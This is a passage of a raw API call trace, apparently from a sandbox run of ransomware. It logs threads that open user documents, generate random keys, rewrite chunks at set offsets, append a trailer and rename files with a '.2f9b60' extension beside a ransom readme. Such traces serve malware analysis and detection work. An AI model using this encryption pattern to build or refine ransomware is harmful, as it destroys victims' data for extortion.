HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.036] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ef90) returned 1 [0093.036] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 Thread: id = 514 os_tid = 0xd5c [0093.039] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Kw15nEXrTlNBKJglj P.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kw15nexrtlnbkjglj p.odp")) returned 0x20 [0093.039] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Kw15nEXrTlNBKJglj P.odp", dwFileAttributes=0x20) returned 1 [0093.039] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Kw15nEXrTlNBKJglj P.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kw15nexrtlnbkjglj p.odp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0093.039] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x22c4fb20 | out: lpFileSize=0x22c4fb20*=84963) returned 1 [0093.039] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x14bdf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.039] ReadFile (in: hFile=0xcfc, lpBuffer=0x22c4faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22c4fae8, lpOverlapped=0x0 | out: lpBuffer=0x22c4faa0*, lpNumberOfBytesRead=0x22c4fae8*=0x4, lpOverlapped=0x0) returned 1 [0093.040] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3b0 [0093.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b350 [0093.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0093.041] NtQuerySystemTime (in: CurrentTime=0x22c4f9e0 | out: CurrentTime=0x22c4f9e0*=132462176988646000) returned 0x0 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x41e37808 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x253ca797 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x5d661cf5 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x37a7e0e8 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0xb77b1b6 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x7184b30e [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x319580f6 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x2deefe95 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x4e0c88fa [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x743bbc95 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x6b045c31 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x297d7418 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x4db4fb28 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x57511ba1 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x24971d19 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x1367fd77 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x7196f0ed [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x697f72ad [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0xc02140e [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x3a0dfadd [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x97886f [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x68b0893d [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x3709a8a0 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0xbe8be4b [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x8756002 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x6c7d3f13 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x58a31101 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x3ebd1750 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x3fc8b079 [0093.041] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x45321943 [0093.042] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x53b8e23c [0093.042] RtlRandomEx (in: Seed=0x22c4f9d0 | out: Seed=0x22c4f9d0) returned 0x614430a8 [0093.050] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.050] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22c4fa40, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x22c4fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0093.050] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0093.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3b0 [0093.050] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b3b0) returned 1 [0093.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3b0 [0093.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0093.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b2f0) returned 1 [0093.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.051] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22c4fa40, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x22c4fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0093.052] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.052] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.052] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22c4fa40, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x22c4fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0093.053] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0093.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0093.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b2f0) returned 1 [0093.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0093.053] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0093.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b290) returned 1 [0093.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.053] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.053] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22c4fa40, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x22c4fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0093.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.055] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x10fe3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.055] ReadFile (in: hFile=0xcfc, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x22c4fa40, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x22c4fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0093.055] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x10fe3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bc20 [0093.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0093.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0093.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b290) returned 1 [0093.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201f1d40 [0093.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0093.055] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2c0 [0093.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b2c0) returned 1 [0093.055] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bc20) returned 1 [0093.056] WriteFile (in: hFile=0xcfc, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x22c4fa40, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x22c4fa40*=0x3c00, lpOverlapped=0x0) returned 1 [0093.056] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.056] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b86e6b0 [0093.057] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.057] WriteFile (in: hFile=0xcfc, lpBuffer=0x1b82f830*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x22c4faf0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f830*, lpNumberOfBytesWritten=0x22c4faf0*=0x160, lpOverlapped=0x0) returned 1 [0093.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c030 [0093.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f010 [0093.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0093.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b2f0) returned 1 [0093.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f3f0 [0093.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b2f0 [0093.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b290 [0093.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b290) returned 1 [0093.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.058] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c030) returned 1 [0093.058] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b86e2c0 [0093.059] sprintf (in: _Dest=0x1b86e2c0, _Format="%c%c" | out: _Dest="8a") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2c2, _Format="%c%c" | out: _Dest="2b") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2c4, _Format="%c%c" | out: _Dest="d7") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2c6, _Format="%c%c" | out: _Dest="53") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2c8, _Format="%c%c" | out: _Dest="93") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2ca, _Format="%c%c" | out: _Dest="3a") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2cc, _Format="%c%c" | out: _Dest="9e") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2ce, _Format="%c%c" | out: _Dest="11") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2d0, _Format="%c%c" | out: _Dest="d2") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2d2, _Format="%c%c" | out: _Dest="15") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2d4, _Format="%c%c" | out: _Dest="7d") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2d6, _Format="%c%c" | out: _Dest="bc") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2d8, _Format="%c%c" | out: _Dest="ad") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2da, _Format="%c%c" | out: _Dest="ef") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2dc, _Format="%c%c" | out: _Dest="fa") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2de, _Format="%c%c" | out: _Dest="68") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2e0, _Format="%c%c" | out: _Dest="c2") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2e2, _Format="%c%c" | out: _Dest="3f") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2e4, _Format="%c%c" | out: _Dest="a5") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2e6, _Format="%c%c" | out: _Dest="2e") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2e8, _Format="%c%c" | out: _Dest="c3") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2ea, _Format="%c%c" | out: _Dest="0a") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2ec, _Format="%c%c" | out: _Dest="89") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2ee, _Format="%c%c" | out: _Dest="4d") returned 2 [0093.059] sprintf (in: _Dest=0x1b86e2f0, _Format="%c%c" | out: _Dest="12") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e2f2, _Format="%c%c" | out: _Dest="89") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e2f4, _Format="%c%c" | out: _Dest="6e") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e2f6, _Format="%c%c" | out: _Dest="f5") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e2f8, _Format="%c%c" | out: _Dest="50") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e2fa, _Format="%c%c" | out: _Dest="74") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e2fc, _Format="%c%c" | out: _Dest="c0") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e2fe, _Format="%c%c" | out: _Dest="c4") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e300, _Format="%c%c" | out: _Dest="85") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e302, _Format="%c%c" | out: _Dest="92") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e304, _Format="%c%c" | out: _Dest="8c") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e306, _Format="%c%c" | out: _Dest="c6") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e308, _Format="%c%c" | out: _Dest="57") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e30a, _Format="%c%c" | out: _Dest="54") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e30c, _Format="%c%c" | out: _Dest="ed") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e30e, _Format="%c%c" | out: _Dest="9d") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e310, _Format="%c%c" | out: _Dest="a1") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e312, _Format="%c%c" | out: _Dest="a6") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e314, _Format="%c%c" | out: _Dest="de") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e316, _Format="%c%c" | out: _Dest="52") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e318, _Format="%c%c" | out: _Dest="68") returned 2 [0093.060] sprintf (in: _Dest=0x1b86e31a, _Format="%c%c" | out: _Dest="c7") returned 2 [0093.060] RtlInitAnsiString (in: DestinationString=0x22c4fb68, SourceString="8a2bd753933a9e11d2157dbcadeffa68c23fa52ec30a894d12896ef55074c0c485928cc65754ed9da1a6de5268c7" | out: DestinationString="8a2bd753933a9e11d2157dbcadeffa68c23fa52ec30a894d12896ef55074c0c485928cc65754ed9da1a6de5268c7") [0093.060] RtlAnsiStringToUnicodeString (in: DestinationString=0x22c4fb38, SourceString="8a2bd753933a9e11d2157dbcadeffa68c23fa52ec30a894d12896ef55074c0c485928cc65754ed9da1a6de5268c7", AllocateDestinationString=1 | out: DestinationString="8a2bd753933a9e11d2157dbcadeffa68c23fa52ec30a894d12896ef55074c0c485928cc65754ed9da1a6de5268c7") returned 0x0 [0093.060] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x1183a0 [0093.061] wcscat (in: _Dest=0x1b7ad5c0, _Source="8a2bd753933a9e11d2157db" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8a2bd753933a9e11d2157db") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8a2bd753933a9e11d2157db" [0093.061] wcscat (in: _Dest=0x1b7ad5c0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8a2bd753933a9e11d2157db.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8a2bd753933a9e11d2157db.2f9b60" [0093.061] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8a2bd753933a9e11d2157db.2f9b60", NtPathName=0x22c4fb10, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8a2bd753933a9e11d2157db.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.061] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107a80 [0093.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107a80) returned 1 [0093.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.063] NtQueryInformationFile (in: FileHandle=0xcfc, IoStatusBlock=0x22c4fb78, FileInformation=0x22c4fb88, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22c4fb78, FileInformation=0x22c4fb88) returned 0x0 [0093.063] NtSetInformationFile (FileHandle=0xcfc, IoStatusBlock=0x22c4fb78, FileInformation=0x22c4fb88, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad5c0) returned 1 [0093.065] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1183a0) returned 1 [0093.065] FlushFileBuffers (hFile=0xcfc) returned 1 [0093.066] CloseHandle (hObject=0xcfc) returned 1 [0093.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f010 [0093.067] wcscpy (in: _Dest=0x1b85f010, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0093.067] wcscat (in: _Dest=0x1b85f010, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" [0093.067] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\2f9b60-readme.txt")) returned 0x20 [0093.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f010) returned 1 [0093.067] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784b50) returned 1 Thread: id = 515 os_tid = 0xd60 [0093.070] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L3RAo.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l3rao.pptx")) returned 0x20 [0093.070] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L3RAo.pptx", dwFileAttributes=0x20) returned 1 [0093.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\L3RAo.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l3rao.pptx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcfc [0093.070] GetFileSizeEx (in: hFile=0xcfc, lpFileSize=0x22a4fc40 | out: lpFileSize=0x22a4fc40*=83355) returned 1 [0093.070] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x14597, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.070] ReadFile (in: hFile=0xcfc, lpBuffer=0x22a4fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22a4fc08, lpOverlapped=0x0 | out: lpBuffer=0x22a4fbc0*, lpNumberOfBytesRead=0x22a4fc08*=0x4, lpOverlapped=0x0) returned 1 [0093.071] SetFilePointerEx (in: hFile=0xcfc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b3e0 [0093.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b380 [0093.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0093.071] NtQuerySystemTime (in: CurrentTime=0x22a4fb00 | out: CurrentTime=0x22a4fb00*=132462176989114000) returned 0x0 [0093.071] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x7aa7abe3 [0093.071] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x64396462 [0093.071] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x54b23d39 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x78db2312 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x61ed06ca [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x2152247c [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x7ab7e914 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x30f23c15 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x7e12f37a [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x716b628c [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x5b57bab6 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x1bf97aa7 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x4b80c3c2 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x3f31c521 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x6c48cd41 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x16e05df7 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x132816f9 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x72940f0b [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0xef7c643 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x6035e9bc [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x4b003982 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x3e6fd8f1 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x6a1dcb08 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x79b18442 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x39ff5dc1 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x62e19122 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x70a6d6f8 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x495f0cac [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x4d7f3db4 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x5d71736 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 0x2bf2a2d3 [0093.072] RtlRandomEx (in: Seed=0x22a4faf0 | out: Seed=0x22a4faf0) returned 